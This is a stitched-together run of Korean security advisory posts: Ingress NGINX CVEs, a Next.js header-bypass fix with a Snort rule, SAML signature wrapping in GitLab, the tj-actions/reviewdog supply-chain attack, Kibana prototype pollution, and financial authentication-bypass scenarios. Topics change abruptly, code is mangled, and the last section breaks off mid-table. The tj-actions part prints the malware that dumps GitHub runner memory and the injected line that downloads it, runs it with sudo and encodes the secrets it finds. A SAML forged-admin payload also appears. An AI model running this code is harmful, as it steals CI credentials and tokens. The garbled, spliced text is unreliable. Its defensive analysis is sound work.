- Ingress란 클러스터 외부에서 내부로 접근하는 요청들을 어떻게 처리할지 정의해둔 규칙들의 모음 [1][2][3][4] -Ingress Controller란 Ingress 리소스에 정의된 규칙을 읽고, 해당 규칙에 따라 트래픽을 라우팅 [1][2][3][4] - Ingress NGINX Controller란 NGINX를 역방향 프록시 및 로드 밸런서로 사용하는 Kubernetes용 Ingress Controller [5][6]
2. 주요내용 [7]
- Ingress NGINX Controller의 구조적 설계 문제로 공격자가 악의적인 Ingress 객체를 전송하여 임의의 NGINX 설정을 주입할 수 있음
> 취약점 악용에 성공 시 클러스터 내 모든 시크릿 노출, 원격 코드 실행 등이 가능
- Admission Controller는 사용자의 요청을 변조(Mutate)와 검증(Validation)을 통해 요청의 승인 여부를 결정
> 기본적으로 인증 없이 누구나 접근 가능한 상태로 배포되어 네트워크를 통해 액세스 가능
※ 변조(Mutate) : 사용자의 요청을 사전 정의된 변형 규칙에 따라 요청을 변경
※ 검증(Validation) : 요청이 기준에 맞는지 확인하여 해당 요청을 승인 또는 거절
- Admission Controller는 Admission Webhook Endpoint를 통해 Kubernetes API 서버와 통신
> AdmissionReview 구조로 통신
> 일반 적으로 Kubernetes API 서버만 AdmissionReview 요청을 보내야 하지만, Admission Controller는 누구나 접근 가능하기 때문에 임의의 AdmissionReview요청을 전송할 수 있음
[사진 1] Admission Controller
- Ingress NGINX Controller는 AdmissionReview 요청을 처리할 때 템플릿 파일과 제공된 Ingress 객체를 기반으로 임시 NGINX 구성 파일을 생성
> 임시 파일 생성 후 nginx -t 명령을 사용해 임시 구성 파일의 유효성을 테스트
> 이때, 적절한 검증이 없어 조작된 Ingress 객체를 전송해 임의의 NGINX 구성을 삽입할 수 있음
[사진 2] nginx -t
2.1 취약점
2.1.1 CVE-2025-24514 [9]
- authreq 파서는 인증 관련 주석을 처리하는 역할을 수행
> 주석에는 URL을 포함하는 auth-url 필드를 설정해야 하며, 해당 값을 적절한 검증 없이 $externalAuth.URL에 포함
> ngnix -t 명령을 실행할 때 명령에 포함되어 실행
2.1.2 CVE-2025-24513 [10]
- 부적절한 입력 값 검증으로 Directory Traversal 공격이 가능
> 이를 통해 DoS 또는 제한된 비밀 객체 노출 발생 가능
2.1.3 CVE-2025-1097 [11]
- authtls 파서는 auth-tls-match-cn 주석을 CommonNameAnnotationValidator를 사용하여 필드 값을 검증
> auth-tls-match-cn 주석은 CN=으로 시작
> 이를 통해 임의의 코드 실행이 가능
2.1.4 CVE-2025-1098 [12]
- mirror-target과 mirror-host Ingress 주석을 사용하여 nginx에 임의의 구성을 삽입할 수 있음
> 이를 통해 임의의 코드 실행이 가능
2.1.5 CVE-2025-1974 [13]
- 특정 조건 하에서 Pod Network에 액세스할 수 있는 인증되지 않은 공격자가 임의 코드 실행이 가능
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [14][15][16][17]
제품명
영향받는 버전
해결 버전
Ingress NGINX Controller
1.11.0 미만
1.11.5
1.11.0 이상 ~ 1.11.4 이하
1.12.0
1.12.1
- 추가 모니터링 및 필터 적용
> Admission Controller가 Kubernetes API 서버에서만 접근 가능하도록 접근 제한
> Admission Webhook Endpoint가 외부에 노출되지 않도록 설정
> Admission Controller 컴포넌트가 불필요할 경우 비활성화
> Helm을 사용하여 ingress-nginx를 설치한 경우 controller.admissionWebhooks.enabled=false로 설정하여 재설치 > 수동으로 ingress-nginx를 설치한 경우
① ValidatingWebhookConfiguration에서 ingress-nginx-admission 삭제
② ingress-ngin-controller 컨테이너의 Deployment 또는 Daemonset에서 '--validating-webhook' 인수 삭제
// Middleware to remove the x-middleware-subrequest header
app.use((req, res, next) => {
delete req.headers['x-middleware-subrequest'];
next();
});
- WAF에서 x-middleware-subrequest 헤더를 포함한 요청을 차단하도록 설정
- 탐지룰 설정
alert tcp any any -> any any (msg:"CVE-2025-29927 x-middleware-subrequest Detected"; flow:to_server,established; content:"x-middleware-subrequest|3A|"; http_header; pcre:"x-middleware-subrequest\s*:\s*(pages\/_middleware|middleware|src\/middleware)"; )
2.1 SAML (Security Assertion Markup Language) Single Sign-On(SSO)
- SAML : 인증 정보 제공자(Identity Provider, idP)와, 서비스 제공자(Service Provider, SP) 간의 인증 및 인가 데이터를 교환하기 위한 XML 기반의 표준 데이터 포맷
- SSO : 하나의 자격 증명으로 한 번만 로그인하여 여러 앱에 액세스할 수 있도록 해 주는 기술
[사진 3] 동작 과정 요약 [7]
단계
설명
서비스 요청
- 사용자가 서비스에 접근 > SP는 해당 유저의 인증 유무 확인 (Access Check)
SSO 서비스 이동
- 인증되지 않은 경우 SP는 SAMLRequest를 생성해 사용자에게 전송 > SP는 IDP는 직접 연결되지 않고, 사용자의 브라우저에서 SAMLRequest를 IDP로 리다이렉션
SSO 서비스 요청
- IDP는 SAMLRequest를 파싱하고 사용자 인증을 진행
SAML 응답
- 인증 성공 시 SAMLResponse를 생성하여 사용자의 브라우저로 전송 > SAMLResponse에는 SAMLAssertion (사용자의 인증 정보를 포함한 XML 문서)이 포함 > IDP는 웹 브라우저에 Session Cokkie를 설정하고 해당 정보는 브라우저에 캐싱
SAML 응답 전송
- 사용자는 SP의 ACS로 SAMLResponse를 POST
서비스 응답
- ACS는 SAMLResponse를 검증하고 유효한 경우 요청한 서비스로 사용자를 포워딩
① 조작된 Assertion 삽입 : <Assertion ID="attack123">에 User=admin, Role=admin 등 권한 상승된 정보 삽입
② SAML 서버 Signature 검증 : <Reference URI="#abc123">로 서명된 정상 Assertion만 검증 -> 검증 통과
③ 첫 번째 Assertion부터 처리 : 실제 처리 단계에서는 첫 번째 요소를 읽어 인증 정보 처리 -> attack123 참조
④ 권한 상승 : 조작된 Assertion의 admin 권한으로 접근 가능
⑤ 추가 악성 행위 : 계정 생성, 데이터 탈취 등 추가 악성 행위 수행
※ 기존 서명 검증 대상과 정보를 남겨두므로 인증 과정을 우회할 수 있음
<SAMLResponse><AssertionID="attack123"><User>admin</User><Role>admin</Role></Assertion><AssertionID="abc123"><User>user1</User><Role>user</Role></Assertion><Signaturexmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethodAlgorithm="..." /><SignatureMethodAlgorithm="..." /><!-- Reference: 서명 대상 지정 --><ReferenceURI="#abc123"><Transforms><TransformAlgorithm="..." /></Transforms><DigestMethodAlgorithm="..." /><DigestValue>base64-encoded-digest-value</DigestValue></Reference></SignedInfo><SignatureValue>base64-encoded-signature-value</SignatureValue><KeyInfo>...</KeyInfo></Signature></SAMLResponse>
- 여러 유형이 존재 [10]
구분
설명
XSW1
기존 서명 뒤에 서명되지 않은 내용 추가
XSW2
기존 서명 앞에 서명되지 않은 내용 추가
XSW3
기존의 Assertion 앞에 Assertion의 서명되지 않은 내용 추가
XSW4
기존의 Assertion 다음에 Assertion의 서명되지 않은 내용 추가
XSW5
서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 원본 Assertion 추가
XSW6
서명된 Assertion의 값을 변경하고 SAML 메시지의 끝에 서명이 제거 된 변조 Assertion 추가
XSW7
서명되지 않은 Extensions Block 추가
XSW8
서명이 제거 된 원래 어설 션을 포함하는 Object Block 추가
3. 대응방안
- 벤더사 제공 보안 업데이트 적용 [11][12]
> 업데이트 적용이 불가한 경우 GitLab 권고
① GitLab 2중 인증 활성화
② GitLab에서 SAML 이중 요인 우회 옵션을 허용하지 않음
③ 자동으로 생성된 새 사용자에 대한 관리자 승인 필요 설정 : gitlab_rails['omniauth_block_auto_created_users'] = true
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
[사진 1] 공급망 공격 과정 요약
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
[사진 2] install.sh에 Hardcoded된 악성 코드
#!/usr/bin/env python3# based on https://davidebove.com/blog/?p=1620import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환defget_pid():# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인withopen(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
ifb'Runner.Worker'in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인return pid
except IOError:
continue# 해당 프로세스가 없으면 예외 발생raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"# map 파일 및 mem 파일 읽기withopen(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기if start > sys.maxsize:
continue# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
[사진 3] 삽입된 함수
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수defget_pid():# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인withopen(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인ifb'Runner.Worker'in cmdline_f.read():
# 찾으면 해당 PID 반환return pid
except IOError:
# 접근 불가한 PID는 무시continue# 찾지 못할 경우 예외 발생raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps"# 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem"# 실제 메모리 접근 파일withopen(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시continue
[사진 4] tj-actions/changed-files 침해 요약
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
[사진 5] 악성코드가 실행된 경우의 예시
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요 > reviewdog/action-shellcheck > reviewdog/action-composite-template > reviewdog/action-staticcheck > reviewdog/action-ast-grep > reviewdog/action-typos
- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공
- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌
[사진 1] Kibana 예시
1.1 ELK
- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]
> Beats : 데이터 수집 담당
※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음
>Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구
> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계
> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용
[사진 2] ELK
2. CVE-2025-25015
[사진 3] CVE-2025-25015 [3]
- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)
> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음
※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침
※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지
영향받는 버전 Kibana 8.15.0 이상 ~ 8.17.3 미만 ※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음 ※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는 사용자만 취약점을 악용할 수 있음
- 벤더사 제공 최신 보안 업데이트 적용 [4][5]
제품명
영향받는 버전
해결 버전
Kibana
8.15.0 이상 ~ 8.17.3 미만
8.17.3
- 즉시 업데이트가 불가한 경우 권고
> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정
2.1 Prototype Pollution (프로토타입 오염) [6][7]
- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음
> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음
- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어
> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘
> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음
> 주요 특징
① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨
② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음
③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색
- 프로토타입은 체인 (Prototype Chain)
> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조
> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨
> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환
> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음
- 스마트폰을 통한 비대면 금융 서비스의 특성상, 금융 서비스를 이용하는 주체가 실제 권한을 가진 주체인지 확인하는 것이 매우 중요
- 인증 수단 자체에 대한 보안성은 확보했더라도, 인증 절차의 검증이나 절차 간의 연계에 대한 보안성 확보 등은 강구해나가야 할 과제
- 최근 이러한 인증 수단 및 절차의 허점을 이용한 금융 서비스의 명의 도용 및 인증 우회 피해 사례가 증가해 인증 서비의 보안이 더욱 중요
- 금보원은 간편 비밀번호·생체인증 등 다양한 금융 인증 체계를 해커의 관점에서 심층 분석한 ‘레드아이리스 인사이트 리포트 : Campaign Poltergeist’를 발간 [1]
※ 내용의 민감성을 고려하여 요약본 게시
2. 주요 내용
- 인증 수단 자체의 보안성이 강화되었더라도, 인증 절차의 설계와 구현 과정의 미흡함은 공격자에게 취약점을 노출하는 원인이 됨
2.1 인증 수단 및 절차 분석
- 서비스 이용 주체의 명의를 확인하는 데 사용되는 인증 수단의 분류
분류
인증 수단 및 설명
지식 기반
- 인증 요청자의 지식으로써 알고 있는 정보를 통해 인증을 수행 - 별도 절차 없이 지식과 기억에 의존하여 인증하므로 간편하게 인증 절차를 수행 가능 - 인증 정보를 잊어버린 경우를 대비한 재발급 절차 마련 및 안전한 인증 절차를 거치도록 해야 함 > ID/PW, 거래비밀번호, 계좌비밀번호, 문답식, 패턴 등
소지 기반
- 인증 요청자가 보유하고 있는 매체나 기기를 황용하여 인증을 수행 - 지식 기반 인증 비밀번호가 유출되어도 소지 기반 인증을 2-Factor 인증 수단으로 활용해 보다 안전한 설계 가능 - 단말이나 매체를 분실할 수 있으므로 안전한 재발급 및 재등록 절차를 마련해야 함 > SMS/ARS, 이메일, OTP(One-Time-Password)/M-OTP(Mobile-OTP), 비대면 실명인증(신분증 인증), 타행/타사 계좌 인증(1원 인증), 앱 기반 인증, 생체인증 등
지식 기반 + 소지 기반
- 보유한 지식과 매체 모두를 동시에 활용하여 인증하는 방식 - 둘 중 하나만 유출되었을 때 공격자가 인증 과정을 우회할 수 없도록 더 안전한 인증 과정 설계 가능 - 망각이나 분실에 대비하여 안전한 재발급/재등록 절차를 마련해야 함 > 공동인증서, 민간인증서, 기기 종속 인증(간편인증서), 신용카드 인증
- 인증 절차 분석
> 인증 수단 자체가 가지는 안정성도 중요하나, 이를 어떻게 절차적으로 설계하고 구현하는지가 취약점을 결정짓는 핵심 요소
[사진 1] 인증 절차 요약
인증 절차 단계
설명
인증 정보 획득
- 사용자가 인증을 위해 필요한 정보를 획득하는 단계
인증 정보 요청
- 사용자가 획득한 인증 정보를 인증 기관이나 인증 요청 기관에 전달하는 단계 - 인증 정보의 성격에 따라 네트워크 구간 암호화와 함께 종단간 암호화(E2E Enctyption)을 적용해 전달
외부 기관 인증
- "인증 정보 요청 단계 이전"이나 "인증 정보 검증 단계"에서 클라이언트나 서버가 외부 기관을 통해 인증을 수행하는 단계 - 인증 정보를 외부 기관에 전달하여 응답으로 받은 값을 가져오고, 해당 값을 통해 인증 절차의 정상 수행 여부를 판단 > 외부 기관을 통해 인증을 수행할 때는 금융 기관이 직접 구현하지 않고 외부 기관이 제공하는 코드, 모듈, API 등을 활용 > 인증 절차를 구현해야 하는 플랫폼별 언어가 다양해 외부 기관 인증의 구현체 코드를 각 언어에 맞춰 구현해야 하는 부담
인증 정보 검증
- 사용자가 전달한 인증 정보에 해당하는 주체와 서비스를 요청한 주체의 일치 여부를 검증
인증 결과 응답 및 서비스 요청
- 서버에서 처리한 인증 결과를 사용자에게 전달하는 단계 > 인증 결과값을 받아 다음 인증 단계 또는 서비스 이용을 위한 요청을 전송 > 인증 결과값은 프록시 도구로 변조가 가능하므로 인증 결과의 클라이언트단 검증은 신뢰해선 안됨
2.2 인증 우회 취약점 분석
- 인증 절차는 일반적으로 인증 정보 획득, 요청, 검증, 응답 및 서비스 요청 단계로 구성
> 인증 요청자는 클라이언트, 인증 검증자는 서버로써 인증 정보를 주고 받으며 전체적인 인증 절차를 수행
> 외부 기관과 연계하여 인증을 수행하는 경우, 인증 정보 획득, 검증 단계에서 클라이언트 혹은 서버가 외부 기관과 통신하여 인증 절차를 진행
인증 절차 단계
취약점 명
설명
인증 정보 획득
공격자 명의 인증 수단으로 인증 수행 (인증 정보 획득 시)
- 인증 절차 수행을 위한 서비스가 완전히 모듈화되어 있고, 인증 절차 진행을 위해 사용자 정보를 웹 요청(Request) 파라미터를 통해 받는 경우 > 인증 절차 진행을 위한 사용자 정보를 공격자 명의로 변조하여 인증 절차를 진행할 수 있음 > 인증 절차가 정상적으로 진행됐는지 유효성만 판단하는 경우 사용자 명의가 다르더라도 인증 절차를 통과되었다고 간주하여 인증 결과가 정상으로 반환되는 것을 악용 가능
타 사용자 인증 정보 획득
- OSINT 활용, 기유출된 인증 정보 등을 통해 타 사용자의 인증 정보를 획득할 수 있는 공격 > 인증에 사용되는 여러 인증 정보는 여러 인증 수단에서 공통적으로 사용되는 경우가 많음 > 또한, 그 값이 변하지 않는 경우가 많기 때문에 인증 정보를 획득함으로써 다른 모든 인증 우회 공격 시나리오의 시작이 되는 경우가 많음
피해자 명의 인증 수단 임의 발급/등록/변경
- 인증에 필요한 지식 정보, 인증 매체 등을 피해자의 의사와 관계없이 공격자가 임의로 발급/등록/변경할 수 있는 공격 > 다른 취약점이나 공격으로 획득한 피해자 정보를 통해 정상적인 절차를 밟아 인증 수단을 발급/등록/변경 > 인증 수단 외에도 회원 정보에 등록된 이메일, 휴대전화 등을 공격자 명의로 변경하여 해당 수단을 이용하는 인증 절차 우회 가능
인증 정보 획득시 응답값에 인증 정보 노출
- 서버로부터 인증 정보 획득을 위한 요청 응답값에 인증 정보가 노출되어 공격에 악용 > 구현상의 실수로 인증 정보 그 자체를 응답으로 넘겨주는 경우가 있음
인증 정보 요청
공격자 명의 인증 수단으로 인증 수행 (인증 정보 요청 시)
- 처음 인증 정보 요청은 피해자 명의로 했으나, 실제 인증 정보를 서버에 전달할 때 공격자 명의 인증 수단으로 진행하는 공격 방식 > 인증 정보를 보낼 때 인증 수단에 대한 정보를 함께 보낸다면 그 정보를 공격자 명의로 변조하거나 공격자 명의의 인증 정보를 보냄 > 모듈화 된 인증 서비스로 인해 본 서비스 요청 처리 전 인증 수행 및 명의 검증 절차가 정확히 지켜지지 않아 발생하는 취약점
인증 정보 변조 및 생성
- 인증 수단을 통해 획득한 인증 정보를 공격자가 유추할 수 있거나 생성해낼 수 있는 경우, 인증의 정상 수행 여부와 상관 없이 인증 정보를 요청할 때 정보를 변조 또는 생성하여 서버를 속일 수 있음 > 인증 결과를 서버에서 검증/처리하지 않고, 클라이언트 단에서 인증 정보 검증 결과를 받아 그 결과를 다시 서버에 요청하고 인증의 정상 수행 여부를 처리하는 경우 발생 가능
테스트 페이지/테스트 파라미터를 통한 인증
- 테스트 용도로 만들어 둔 페이지나, 특수한 파라미터를 받았을 때 어떤 인증 요청이 와도 항상 정상적으로 인증된 것처럼 인식하는것을 악용 > 개발/테스트 시 복잡한 인증 절차를 모두 수행하기 어려워 항상 인증 절차를 통과하도록 만들어 둔 테스트 인증 절차가 배포 과정에서 운영 코드에 들어가 발생
외부 기관 인증
클라이언트 단에서 외부 기관 인증 정보 검증
- 외부 기관 인증 요청 및 결과에 대한 검증을 서버에서 수행하지 않고 클라이언트 단에서 수행할 때 발생 > 공격자는 앱 변조, 응답값 변조, 결과 변도 증을 통해 인증 절차를 우회할 수 있음 > 서버단에서의 인증 절차 수행 여부 검증이 없기 때문에, 단순히 최종 서비스 요청 패킷을 변조하여 전송하는 것만으로도 목적을 이룰 수 있음
외부 기관 접근 권한 획득
- 인증 절차에 사용되는 외부 기관의 접근 권한이 탈취되었을 때 발생하는 취약점 > 슈퍼앱(여러 금융 계열사의 서비스를 하나의 앱으로 서비스)을 운영하는 금융기관이 늘어남에 따라, 앱 내 법인이 다른 동일 그룹 계열사 기관을 지정하여 타행/타사 계좌 인증을 우회할 수 있음
취약한 인증 결과 응답값 오용
- 외부 기관으로 부터 인증을 수행하고 전달 받은 결과값이 단순히 인증 결과만을 반환하거나 변조/생성될 수 있는 값일 경우 인증 우회에 사용할 수 있음 > CI 값의 경우 DI 값과 달리 사용자별로 변하지 않는 고유한 값이기 때문에 다른 기관에서 CI 값이 유출되었을 시 이를 이용해 인증 절차를 우회할 수 있음 ※ CI(Connecting Information, 연결 정보) : 특정 개인을 고유하게 식별할 수 있도록 연결하는 정보 ※ DI(Duplicated Information, 중복 정보) : 특정 서비스 또는 기관에서 동일한 사용자가 중복 가입하는 것을 방지하기 위해 활용하는 정보
인증 정보 검증
인증 절차 정상 수행 여부 미검증
- 하나 혹은 여러 인증 수단의 각 절차가 정상적으로 진행되지 않았을 때 서버에서 인증 절차의 정상 수행 여부를 검증하지 않는다면 인증 절차와 관계 없이 공격자가 요청한 서비스가 정상 처리 될 수 있음 > 여러 인증 수단을 복합적으로 사용하는 경우 각 인증 수단에 따른 인증 절차가 정상적으로 진행되었는지, 각 절차별로 결과에 대해 서버에서 상태(State)를 관리하여야 함
인증 정보 검증의 잘못된 예외 처리
- 인증 정보 검증 시 발생한 에러에 대한 예외 처리 구현이 잘못되었을 경우 오류가 발생했음에도 서비스는 정상 처리되는 등의 문제가 발생할 수 있음 > 타 사용자로 로그인 되는 등 인증 관련 보안 사고가 발생할 수 있으므로, 인증 관련 구문의 예외 처리 구현을 견고히하여야 함
인증 정보 검증 오류 횟수 미제한
- 오류횟수 제한을 두지 않았을 경우, 무작위 대입 공격을 통해 공격자가 비밀번호를 추측해 알아낼 수 있음 > 계좌 비밀번호, 거래 비밀번호, 카드 유효기간, 카드 비밀번호, 카드 CVC 번호 등은 금융 거래에 핵심이 되는 지식 정보이지만 복잡성이 낮은 정보들이 많기 때문에 오류횟수 미제한은 심각한 결과를 초래할 수 있음
인증 결과 응답
공격자 명의 인증 수단으로 인증 수행 (인증 결과 응답 이후)
- 인증 절차를 공격자 명의의 인증 수단으로 진행하고 인증 결과 응답에 포함된 공격자 명의의 정보를 피해자 명의의 인증 정보로 변조 > 클라이언트에서 변조된 정보가 자동으로 서명 및 암호화 과정에 사용되어 인증 우회가 용이함 > 서버는 정상적인 인증 응답으로 인식하기 때문에 보안 검증을 우회할 수 있음
인증 결과 응답값을 정상 응답값으로 변조
- 인증 결과 응답값을 정상 응답값으로 변조하여 클라이언트에선 마치 인증이 완료된 것처럼 인식되게 하고 인증 절차의 다음 단계로 넘어갈 수 있음 > 응답값을 변조한 것이기에 서버단에서의 검증에는 영향 없음 > 공격자가 요청시마다 일일히 공격자 명의 인증 정보를 피해자 명의 인증 정보로 변조하지 않아도 되기 때문에 공격 난이도와 복잡성을 낮출 수 있는 방법
2.3 Campaign Poltergeist
- 인증 우회 취약점의 연계를 통해 타 사용자의 계정 권한을 탈취, 추가 공격을 감행
> 마치 다른사람이 된 것처럼 인증 수단들을 발급하고 금융 서비스를 이용
구분
설명
Simple Path
- 간편함이 핵심인 모바일 뱅킹 환경에서 사용자 편의성과 접근성을 위해 인증 수단들은 간편화되기 시작 > 6자리 간편 비밀번호, 생체기반 인증, 간편인증서 등이 도입 > 간편 인증정보들이 탈취되었을 경우 그 위험성 또한 몇 배로 증가
Shadow Twin
- M-OTP, 공동인증서, API를 사용해 계좌 이체, 대출 등을 수행할 수 있음 > 간편 인증서 탈취 후 여러 인증 수단과 절차를 우회하거나 발급받아 금전적 피해가 발생할 수 있음 > 피해자의 모든 인증 수단과 권한을 공격자가 얻게 됨
Spectral Vault
